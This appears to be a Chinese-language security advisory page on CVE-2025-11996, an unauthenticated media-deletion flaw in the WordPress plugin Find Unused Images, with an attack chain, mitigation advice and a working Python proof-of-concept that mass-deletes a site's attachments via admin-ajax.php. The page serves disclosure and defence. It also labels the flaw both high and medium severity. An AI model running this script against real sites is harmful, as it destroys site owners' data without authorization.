IPBUF安全漏洞报告
English
CVE-2025-11996 CVSS 5.3 中危

CVE-2025-11996 WordPress Find Unused Images插件未授权删除漏洞

披露日期: 2025-11-11

漏洞信息

漏洞编号
CVE-2025-11996
漏洞类型
未授权访问/缺少权限检查
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Find Unused Images WordPress插件

相关标签

CVE-2025-11996WordPress插件漏洞未授权访问缺少权限检查文件删除IDORFind Unused ImagesMEDIUM

漏洞概述

CVE-2025-11996是WordPress插件"Find Unused Images"中的一个高危安全漏洞。该插件用于查找和删除未使用的图片,但存在严重的权限控制缺陷。漏洞根源在于插件的fui_delete_image()和fui_delete_all_images()函数缺少WordPress capability检查,导致任何未认证用户(包括匿名访客)都可以调用这些删除函数。此漏洞影响版本1.0.7及以下所有版本,攻击者无需任何身份凭证即可利用。成功利用此漏洞后,攻击者可以删除网站上的所有媒体附件,包括图片、文档、视频等,可能导致网站内容永久丢失、业务中断以及数据完整性破坏。由于WordPress默认配置下/wp-admin/admin-ajax.php等接口对未认证用户开放,攻击者可以轻松构造恶意请求批量删除网站资源。此漏洞已被Wordfence安全团队发现并报告,CVSS评分5.3,属于中等严重程度。

技术细节

该漏洞属于IDOR(Insecure Direct Object Reference)类型的未授权访问漏洞。在WordPress插件架构中,敏感操作(如删除文件)应当使用current_user_can()进行权限验证。Find Unused Images插件在实现删除功能时,直接暴露了删除接口但未实施权限检查。攻击者可以通过向admin-ajax.php或admin-post.php发送POST请求,指定action参数为fui_delete_image或fui_delete_all_images,并传递附件ID或相关参数来触发删除操作。由于WordPress的AJAX处理机制对未登录用户开放部分钩子,攻击者无需Cookie或认证令牌即可触发。核心问题代码位于inc/generic-functions.php的第44行和第53行附近,该代码直接执行删除操作而未调用current_user_can('upload_files')等权限检查。攻击者可以通过编写简单脚本批量发送删除请求,实现对整个媒体库的全量删除。修复方案是在删除函数执行前添加current_user_can('upload_files')检查,确保只有具有上传权限的管理员才能执行删除操作。

攻击链分析

STEP 1
步骤1
攻击者识别目标WordPress网站并确认安装了Find Unused Images插件(版本<=1.0.7)
STEP 2
步骤2
攻击者构造恶意HTTP POST请求,指向/wp-admin/admin-ajax.php或/wp-admin/admin-post.php
STEP 3
步骤3
请求中设置action参数为fui_delete_image或fui_delete_all_images,无需任何认证凭据
STEP 4
步骤4
服务器端插件接收到请求,由于缺少current_user_can()权限检查,直接执行删除逻辑
STEP 5
步骤5
攻击者通过批量发送请求或使用fui_delete_all_images一次性删除所有媒体库附件
STEP 6
步骤6
网站媒体资源被永久删除,导致内容丢失、功能破坏,可能需要从备份恢复

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-11996 PoC - Unauthenticated Arbitrary File Deletion # Target: WordPress Find Unused Images Plugin <= 1.0.7 def delete_single_image(target_url, attachment_id): """Delete a single attachment by ID""" data = { 'action': 'fui_delete_image', 'attachment_id': attachment_id } response = requests.post(target_url, data=data) return response def delete_all_images(target_url): """Delete all attachments on the site""" data = { 'action': 'fui_delete_all_images' } response = requests.post(target_url, data=data) return response def main(): if len(sys.argv) < 2: print('Usage: python cve-2025-11996-poc.py <target_url>') print('Example: python cve-2025-11996-poc.py http://victim.com/wp-admin/admin-ajax.php') sys.exit(1) target = sys.argv[1] # Method 1: Delete all images print('[*] Attempting to delete all attachments...') resp = delete_all_images(target) print(f'[+] Response Status: {resp.status_code}') print(f'[+] Response: {resp.text[:200]}') # Method 2: Delete specific attachment # attachment_id = 123 # resp = delete_single_image(target, attachment_id) # print(f'Deleted attachment {attachment_id}') if __name__ == '__main__': main()

影响范围

Find Unused Images WordPress插件 <= 1.0.7

防御指南

临时缓解措施
如果无法立即升级插件,可通过以下方式临时缓解:在wp-config.php中添加代码限制未认证用户访问相关AJAX端点,或使用WordPress安全插件(如Wordfence)添加临时规则阻止对fui_delete_image和fui_delete_all_images action的未授权访问。同时建议立即备份网站数据和媒体库,以便在遭受攻击后能够快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表